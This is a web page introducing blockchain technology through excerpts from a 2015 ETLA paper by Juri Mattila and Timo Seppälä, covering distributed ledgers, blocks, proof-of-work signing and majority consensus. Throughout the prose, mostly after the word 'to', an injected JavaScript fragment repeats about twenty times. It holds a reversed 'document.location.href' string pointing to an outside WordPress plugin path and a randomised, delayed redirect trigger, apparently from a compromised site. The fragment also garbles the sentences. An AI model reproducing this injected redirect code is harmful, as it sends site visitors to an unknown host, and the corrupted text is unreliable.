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Blockchain Technology : Short Introduction.

Presented by Gersande,

Produced by Think-Tanks’TV.

Source :

RESEARCH  INSTITUTE  OF  THE  FINNISH  ECONOMY

ETLA is the leading private economic research organisation in Finland. From early on, ETLA has charted the effect of education and research on productivity and growth. More recently, ETLA has analysed factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors that foster innovation and facilitate adoption of new technology, and thereby promote the development of a knowledge economy.

Their website: etla.fi .

Juri MATTILA

Timo SEPPÄLÄ

Blockchains as a Path toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a Network of Systems. An Emerging New Trend of the Digital Platforms in Industry and Society. 13/08/2015

 

 

Excerpts:

 

 

In brief, the blockchain technology is a method by which parties previously unknown toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one another can jointly generate and maintain practically any database on a fully distributed basis. In reality, the system works so that each party is distributed a copy of the database (or part of it) and may then make changes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the database subject toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collectively accepted rules.

The changes made by the various parties are assembled and stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tored in a database at regular intervals as bundled packets called ‘blocks’. When new blocks are added toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the original database, they form a blockchain, or an up-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-date database containing all the changes made.

To ensure that the other network users accept the proposed block as part of the shared blockchain, the proposing party must sign their block using a solution toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a highly complicated mathematical problem specific toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to each individual block. The blocks are ‘stacked’ in such a way that any tempering with the data will change the problem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be solved within the blocks.

When the questions change, the solutions found toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the preceding blocks no longer apply and the other nodes of the network reject the proposed fraudulent blockchain. During the time it takes for a fraudster toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to solve new problems, the rest of the network proceeds much further.

In other words, the method is based on a never-ending race between the individual versions of the database in which the winner is the version that has made the most progress.

The reliability of the method stems from the fact that working with the various versions calls for constant computational work. As long as more than half of the computing power of the network supports the ‘honest’ version of the database, even a large number of attackers cannot shake the distributed unanimity and consensus of the network.

So, in essence, a blockchain is a distributed digital sandglass where mathematical problems are the trickle. It allows for the creation of a jointly generated electronic time stamp that all participants can trust, even if they do not trust one another.

 

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